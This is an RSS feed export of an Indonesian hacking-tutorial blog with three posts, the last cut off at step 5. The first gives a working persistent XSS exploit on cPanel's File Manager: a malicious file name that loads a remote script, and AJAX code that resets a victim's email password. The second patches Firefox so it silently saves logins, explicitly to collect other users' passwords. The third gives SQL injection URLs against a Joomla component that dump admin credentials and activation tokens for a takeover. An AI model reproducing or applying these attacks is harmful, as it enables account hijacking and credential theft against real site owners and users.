<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:gd="http://schemas.google.com/g/2005" xmlns:georss="http://www.georss.org/georss" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-6874249505225083857</atom:id><lastBuildDate>Fri, 08 Nov 2024 15:35:46 +0000</lastBuildDate><category>Hacking Tutorial</category><category>Internet Security</category><category>Website Security</category><category>Exploit Database</category><category>Cracking Password</category><category>DDOS</category><category>LINUX</category><category>Miscellaneous</category><category>Web Design</category><category>Control Panel Exploited</category><title>Blackmygo</title><description></description><link>http://black-mygo.blogspot.com/</link><managingEditor>noreply@blogger.com (Blackmygo)</managingEditor><generator>Blogger</generator><openSearch:totalResults>30</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><language>en-us</language><itunes:explicit>no</itunes:explicit><itunes:subtitle/><itunes:category text="Technology"><itunes:category text="Gadgets"/></itunes:category><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-8888747292217116052</guid><pubDate>Sun, 20 Feb 2011 09:43:00 +0000</pubDate><atom:updated>2011-02-20T01:43:53.840-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Control Panel Exploited</category><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Tutorial Hacking Attack With XXS From Control Panel</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcS95O_qV_9lLDpMMqifYCQLrueZgTKb53_pL8yvN1-HYCk4t91dfQ" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:ANd9GcS95O_qV_9lLDpMMqifYCQLrueZgTKb53_pL8yvN1-HYCk4t91dfQ" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Cpanel adalah aplikasi pengelolaan hosting yang sangat vital karena dengan aplikasi ini seseorang bisa mengelola semua hal yang terkait dengan hosting antara lain website, email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting) pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang login dalam cpanel, kemudian menjalankan script dengan hak yang sama dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel versi 11.24.4-CURRENT.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sekilas tentang CPanel File Manager&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TWDUk_zPjXI/AAAAAAAAALA/sWUIhnlSvBA/cpanel1.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Cpanel terdiri dari berbagai macam aplikasi, salah satunya adalah file manager, yang berfungsi untuk mengelola file dalam account hosting. Dengan file manager, seorang pengguna bisa menghapus, membuat, mengedit file dalam file system.&lt;br /&gt;
File manager pada cpanel ada dua, yaitu “File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress, ekstrak pada versi modernnya.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;u&gt;Standard file manager&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TWDUlMmp6KI/AAAAAAAAALE/pqxWMdzlHPI/cpanel2.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;u&gt;Legacy file manager&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TWDUlDK2QHI/AAAAAAAAALI/7W45hmivDcw/cpanel3.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Persistent XSS Attack by Crafting Malicious File Name&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Kedua jenis file manager cpanel rentan terhadap serangan XSS. File manager cpanel tidak memfilter nama file yang ditampilkan di web sehingga attacker bisa menginjeksi script atau kode html dengan cara membuat file dengan nama yang mengandung kode html dan javascript.&lt;br /&gt;
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih berbahaya karena hanya dengan melihat nama filenya saja malicious code yang dikirimkan attacker akan dieksekusi browser. Dalam file manager yang standard, cpanel berhasil memfilter karakter berbahaya dari nama file sehingga malicious code tidak dieksekusi dalam halaman daftar file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy, move, code/html editor,compress, change permission. Agar malicious code attacker dieksekusi browser, korban harus memilih file tersebut dengan checkbox, kemudian melakukan salah satu diantara: delete,copy,move,edit,compress atau change permission.&lt;br /&gt;
Jadi jelas bahwa serangan xss ini lebih berbahaya pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa lagi selain melihat daftar file dalam suatu folder. Oleh karena itu dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke Legacy File Manager namun dengan exploit yang bisa bekerja di kedua jenis file manager.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Attacking Legacy File Manager (LFM)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Mari kita lihat bagaimana LGM menampilkan nama file dalam daftar file di web. Gambar di bawah ini menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;u&gt;File list in legacy file manager&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TWDUlS2NSuI/AAAAAAAAALM/eklgzY0jVaE/cpanel4.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Ada dua file yang saya jadikan contoh di atas, yaitu:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TWDctncwJ3I/AAAAAAAAALs/IgRESj5FRjw/Bonuses1.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:&lt;br /&gt;
&lt;br /&gt;
Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&amp;amp;file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter &amp;gt; agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.&lt;br /&gt;
Bila nama file mengandung karakter double quote (“), maka akan diawali dengan backslash menjadi \”. Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.&lt;br /&gt;
Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.&lt;br /&gt;
Batasan dalam pembuatan nama file oleh sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256 karakter. Karakter yang terlarang digunakan salah satunya adalah slash (/). Oleh karena itu attacker harus bisa membuat serangan dengan nama file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter slash.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Attack using IMG tag to load external script&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:&lt;br /&gt;
* Panjang maksimum 256 karakter.&lt;br /&gt;
* Tidak mengandung karakter terlarang seperti slash dan double quote.&lt;br /&gt;
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya mengandalkan 256 karakter saja, attacker harus membuat browser me-load external script. Sayangnya penggunaan tag script tidak dimungkinkan karena tag ini menuntut digunakannya tag  yang mengandung karakter slash.&lt;br /&gt;
&lt;br /&gt;
Cara yang saya pakai agar browser mau meload script external adalah:&lt;br /&gt;
&lt;br /&gt;
1. Menginjeksi javascript dalam tag img&lt;br /&gt;
2. Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.&lt;br /&gt;
Saya memilih menggunakan tag IMG karena tag ini sifatnya tunggal, tidak perlu ditutup dengan tag . Bagaimana caranya tag img bisa mengeksekusi javascript?&lt;br /&gt;
&lt;br /&gt;
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan script dalam atribut onError, yang artinya bila image dalam tag img ini gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan cara ini maka agar script dalam onError selalu dieksekusi, maka saya harus membuat image selalu gagal diload. Itu mudah saya hanya perlu mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet Explorer, saya belum coba untuk browser lainnya.&lt;br /&gt;
&lt;br /&gt;
Ada satu masalah lagi, yaitu bagaimana cara menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan dalam atribut SRC dalam tag script.&lt;br /&gt;
&lt;br /&gt;
Namun tag script tidak langsung dituliskan dalam nama file, melainkan ditulis oleh javascript dalam tag img dengan fungsi document.write(). Fungsi document.write meminta masukan berupa string, yang nantinya akan kita isi dengan tag script. Karena masukannya berupa string, maka saya bisa pakai fungsi String.fromCharCode() untuk menghasilkan string dari kode ASCII.&lt;br /&gt;
&lt;br /&gt;
URL external berisi script yang akan saya injeksikan adalah: http://ilmuhacking[dot]com/x.js . Sehingga script dalam tag img harus membuat tag berikut dengan fungsi document.write():&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;&lt;script src="http://ilmuhacking[dot]com/x.js"&gt;
&lt;/script&gt;&lt;/pre&gt;&lt;br /&gt;
Javascript untuk membuat tag script dengan url seperti di atas adalah:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,1&lt;/pre&gt;&lt;br /&gt;
Deretan angka pada fungi String.fromCharCode adalah kode ASCII dari masing-masing karakter dari script tag yang akan meload external script. Javascript tersebut harus dimasukkan ke dalam atribut onError dari tag img. Jadi tag img yang akan dipakai untuk meload external javascript adalah berikut ini:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TWDctnfm__I/AAAAAAAAALw/Awic0l_3ZHQ/Bonuses2.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh4.googleusercontent.com/_29ZRNl4CE-E/TWDUlsmhs1I/AAAAAAAAALQ/XUjnQ1bC2sc/cpanel5.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sebelumnya sudah saya jelaskan bahwa nama file ditampilkan dalam source htmlnya sebagai bagian dari tag lain. Contohnya adalah tag berikut:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TWDeoU_gb0I/AAAAAAAAAL0/t8dYLvaKGws/Bonuses3.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Bila attacker memasukkan tag img, yang terjadi adalah:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TWDeoYPcfKI/AAAAAAAAAL4/rPZCPaJXeis/Bonuses4.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut href dari tag A sehingga browser tidak menganggap ada tag image. Agar attacker bisa menginjeksi tag img dengan benar, maka tag A yang melingkupi harus ditutup dulu. Cara menutupnya adalah dengan menambahkan dua karakter: “&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh4.googleusercontent.com/_29ZRNl4CE-E/TWDU0n3BvtI/AAAAAAAAALU/gnuGpBav9zU/cpanel6.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Gambar di atas adalah penjelasan mengapa diperlukan double quote dan &amp;gt; di awal. Dalam gambar diberikan 3 contoh, dari nama file yang normal, kemudian nama file dengan tag img, dan terakhir diawali dengan double quote dan greater than (“&amp;gt;). Nama file tanpa diawali “&amp;gt; akan menjadi bagian dari atribut href dari tag A, namun bila diawali dengan “&amp;gt; maka karakter sesudah 2 karakter itu sudah bukan bagian dari tag A.&lt;br /&gt;
Jadi sesuai penjelasan di atas, nama file yang akan dijadikan serangan harus diawali dengan “&amp;gt; sehingga nama file akhir yang harus dibuat untuk melakukan serangan adalah:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh4.googleusercontent.com/_29ZRNl4CE-E/TWDf6z_4h-I/AAAAAAAAAL8/7tg3e9AEuI4/Bonuses5.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TWDU0l8-mCI/AAAAAAAAALY/AZPUgSDcPuw/cpanel7.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Dalam gambar di atas saya menunjukkan cara membuat file dengan nama yang mengandung tag img dari console Linux. Membuat file bisa juga dilakukan dengan upload file bila di web tersebut memberikan kebebasan penggunanya untuk upload misal untuk gambar profil atau album foto. Setelah file yang namanya mengandung exploit xss dibuat, maka berikutnya bila seseorang membuka cpanel dan melihat daftar file dalam folder tempat exploit xss berada, maka script attacker akan dieksekusi browser, secara otomatis, tanpa perlu pengguna berbuat sesuatu lagi.&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh4.googleusercontent.com/_29ZRNl4CE-E/TWDU0kOJUbI/AAAAAAAAALc/QIOl-TMpkpw/cpanel8.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Attacking (Standard) File Manager&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard file manager. Hanya saja bedanya script yang diinjeksi attacker hanya bisa dieksekusi bila korban memilih file tersebut lalu melakukan: delete,edit,rename,copy,move,compress,change permission. Bila korban memakai standard file manager, kemungkinan code dieksekusi tidak sebesar pada LFM. Exploit yang sama bila dilihat dengan standard file manager seperti pada gambar berikut:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TWDU0ssuWSI/AAAAAAAAALg/vDz6TLxwFv4/cpanel9.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Memang file list tidak vulnerable, namun bila korban memilih file tersebut, kemudian memilih salah satu diantara: delete,copy,move,rename,change permission,compress, maka script akan dieksekusi seperti pada gambar berikut:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TWDU01hSFVI/AAAAAAAAALk/l-3EeVShLm0/cpanel10.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Remote Attack Scenario&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Mungkin anda mengira serangan ini hanya bisa dilancarkan secara lokal, setidaknya harus memiliki akses membuat file. Sebenarnya serangan ini bisa dilancarkan secara remote. Salah satu skenario yang mungkin adalah:&lt;br /&gt;
&lt;br /&gt;
“Pada web dengan fitur album foto memungkinkan pengguna untuk upload gambar. Attacker bisa melancarkan serangan ini secara remote dengan upload file gambar dengan malicious file name, kemudian menunggu owner website browsing dengan Cpanel File Manager. Ketika cpanel file manager menampilkan file dengan malicious name ke browser owner…Boom! Ranjau diinjak korban, script attacker akan dieksekusi.”&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Example Payload: Changing Victim Email Address&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Blackmygo" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TWDU6uyPL3I/AAAAAAAAALo/ttaYQTYdsRQ/cpanel11.jpg"/&gt;&lt;br /&gt;
&lt;br /&gt;
Setelah berhasil membuat browser mengeksekusi remote script, kini saya bebas mengisi script dengan apa pun yang saya inginkan. Dalam artikel ini saya akan memberi contoh script untuk mengubah password email korban dengan menggunakan fungsi AJAX.&lt;br /&gt;
Form untuk mengubah password email tidak memerlukan current password, pengguna hanya perlu memasukkan password baru saja. Oleh karena itu saya bisa membuat script yang melakukan submit form tersebut. Script untuk mengubah password email korban adalah:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,…
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// set type accordingly to anticipated content type
//http_request.overrideMimeType(‘text/xml’);
http_request.overrideMimeType(‘text/html’);
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject(“Msxml2.XMLHTTP”);
} catch (e) {
try {
http_request = new ActiveXObject(“Microsoft.XMLHTTP”);
} catch (e) {}
}
}
if (!http_request) {
alert(‘Cannot create XMLHTTP instance’);
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open(‘POST’, url, true);
http_request.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
http_request.setRequestHeader(“Content-length”, parameters.length);
http_request.setRequestHeader(“Connection”, “close”);
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
//alert(http_request.responseText);
result = http_request.responseText;
alert(result);
} else {
alert(‘There was a problem with the request.’);
}
}
}
var poststr =
“quota=” + encodeURI(“250″) +
“&amp;password2=” + encodeURI(“newpassword”) +
“&amp;password=” + encodeURI(“newpassword”) +
“&amp;email=” + encodeURI(“testing”) +
“&amp;domain=” + encodeURI(“ilmuhacking.com” );
makePOSTRequest(‘/frontend/x3/mail/dopasswdpop.html’, poststr);&lt;/pre&gt;&lt;br /&gt;
Script di atas melakukan POST request dengan fungsi AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST data: quota (dalam mega byte), password, password2, email dan domain.&lt;br /&gt;
Masih banyak payload lain yang bisa dibuat antara lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan exploit script xss.</description><link>http://black-mygo.blogspot.com/2011/02/tutorial-hacking-attack-with-xxs-from.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TWDUk_zPjXI/AAAAAAAAALA/sWUIhnlSvBA/s72-c/cpanel1.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-2175237416396749652</guid><pubDate>Wed, 16 Feb 2011 15:17:00 +0000</pubDate><atom:updated>2011-02-16T07:17:54.503-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Cracking Password</category><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Hacking Tutorial Dengan Menggunakan Mozilla Firefox</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcS8toCSQd7CFEpqimWtZZTdZmkA3xNjKIDM9jT7SRk9e_fbzQAgCg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:ANd9GcS8toCSQd7CFEpqimWtZZTdZmkA3xNjKIDM9jT7SRk9e_fbzQAgCg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Dengan javascript ini browser kita akan otomatis nge-save semua username &amp; password tanpa ada konfirmasi "Save Password"&lt;br /&gt;
Intinya adalah menghilangkan notifikasi pop-up simpan pesan pada firefox / flock&lt;br /&gt;
&lt;br /&gt;
Langsung ke kita coba:&lt;br /&gt;
&lt;br /&gt;
1. Lihat Versi Firefox , bisa berjalan di versi 3.6&lt;br /&gt;
&lt;br /&gt;
2. Pastikan komputer kita gak ada deepfreeze&lt;br /&gt;
&lt;br /&gt;
3. Msuk k Local disk C: , plih Program Files =&gt; Mozilla Firefox =&gt; Components..&lt;br /&gt;
&lt;br /&gt;
Cari file yang bernama&lt;br /&gt;
"Ns Login Manager Prompter.js"&lt;br /&gt;
Buka Dengan notepad kemudian tambahkan kode berikut :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;_showSaveLoginNotification :
function (aNotifyBox, aLogin) {
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);
},
&lt;/pre&gt;Ingat kode tersebut ditambahkan diantara script dibawah ini&lt;br /&gt;
gunakan fitur find pada notepad untuk mempercepat pencarian.&lt;br /&gt;
&lt;br /&gt;
Hasilnya seperti ini : &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;/*
* _showSaveLoginNotification
*
* Displays a notification bar
(rather than a popup), to allow
the user to
* save the specified login. This
allows the user to see the
results of
* their login, and only save a
login which they know worked.
*
*/


_showSaveLoginNotification :
function (aNotifyBox, aLogin) {
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);
},

/*
* _removeLoginNotifications
*
*/
&lt;/pre&gt;4. Kemudian Save,&lt;br /&gt;
5. Jalankan firefox dan coba masuk ke situs yang ada form login , masukkan username &amp; password .&lt;br /&gt;
Setelah anda klik login / sig in tidak akan muncul popup Remember Password.&lt;br /&gt;
&lt;br /&gt;
Kemudian klik toolbar View =&gt; options =&gt; Security =&gt; Saved Password&lt;br /&gt;
pasti ada keterangan situs dan usernamenya , untuk memunculkan klik "Show Password"&lt;br /&gt;
(ada notify box, klik Yes )&lt;br /&gt;
&lt;br /&gt;
Alhasil nama situs beserta username dan password akan terlihat ,&lt;br /&gt;
Nah , bayangkan seandainya banyak orang yang gunain komputer / laptop anda , anda akan banyak menemukan username &amp; password dari teman-teman anda.&lt;br /&gt;
hehehe&lt;br /&gt;
sekian, mohon jangan disalahgunakan ...</description><link>http://black-mygo.blogspot.com/2011/02/hacking-tutorial-dengan-menggunakan.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-7673227918413021316</guid><pubDate>Wed, 09 Feb 2011 13:56:00 +0000</pubDate><atom:updated>2011-02-09T05:57:19.359-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Database</category><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Tutorial Hacking With SQL Injection Pada Joomla</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TVKWNA3Oz7I/AAAAAAAAAKw/9ErF5sV8gAQ/imagesJOOMLA.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="80" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TVKWNA3Oz7I/AAAAAAAAAKw/9ErF5sV8gAQ/imagesJOOMLA.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
ok langsung saja kita menuju step by step dalam pengerjaannya.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 1&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Buka google.. ketik keyword :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Code:
"inurl:/index.php?option=com_huruhelpdesk\"&lt;/pre&gt;&lt;br /&gt;
Atau silahkan ke sini untuk liat Exploitnya Databasenya : &lt;a href="http://www.exploit-db.com/search/?action=search&amp;amp;filter_page=1&amp;amp;filter_description=&amp;amp;filter_exploit_text=joomla&amp;amp;filter_author=&amp;amp;filter_platform=0&amp;amp;filter_type=0&amp;amp;filter_lang_id=0&amp;amp;filter_port=&amp;amp;filter_osvdb=&amp;amp;filter_cve="&gt;Exploit Database&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Tes satu per satu&lt;br /&gt;
coba kita ambil yang ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TVKU2T_B0oI/AAAAAAAAAKI/PO6L1ROQ4yI/1-2.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 2&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Pasang exploit..&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;/index.php?option=com_huruhelpdesk&amp;amp;view=detail&amp;amp;cid[0]=-1/**/union/**/select/**/1,2,3,concat(username,0x3a,password,0x3a,email),5,6,7+from+jos_users--&lt;/pre&gt;&lt;br /&gt;
Maka akan menghasilkan gambar seperti dibawah ini:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TVKU2T8GW6I/AAAAAAAAAKM/Cpped7S6OZU/2.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Nah kita akan melihat admin nya... :P&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 3&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Coba kita reset password nya :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;/index.php?option=com_user&amp;amp;view=reset&lt;/pre&gt;&lt;br /&gt;
hmmm... minta email dia.. masukin saja email admin tadi..&lt;br /&gt;
&lt;img class="alignleft" src="http://lh4.googleusercontent.com/_29ZRNl4CE-E/TVKU2Q8Im-I/AAAAAAAAAKQ/YY8oQTnaHIk/3.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
Then enter..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 4&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Minta activation pula &lt;br /&gt;
hmm.. gimana ne?&lt;br /&gt;
tenang.. kita cari dulu activationnya :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Code:
/index.php?option=com_huruhelpdesk&amp;amp;view=detail&amp;amp;cid[0]=-1/**/union/**/select/**/1,2,3,concat(username,0x3a,password,0x3a,email,0x3a,activation),5,6,7+from+jos_u​sers--&lt;/pre&gt;&lt;br /&gt;
&lt;img class="alignleft" src="http://lh4.googleusercontent.com/_29ZRNl4CE-E/TVKU2Xt85QI/AAAAAAAAAKU/I-dZIAJyGW4/4.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Tuh kan keluar activatifasinya&lt;br /&gt;
hehehe&lt;br /&gt;
:)&lt;br /&gt;
lanjut...&lt;br /&gt;
&lt;br /&gt;
copas aja ke yang tadi.. enter.. :)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 5&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
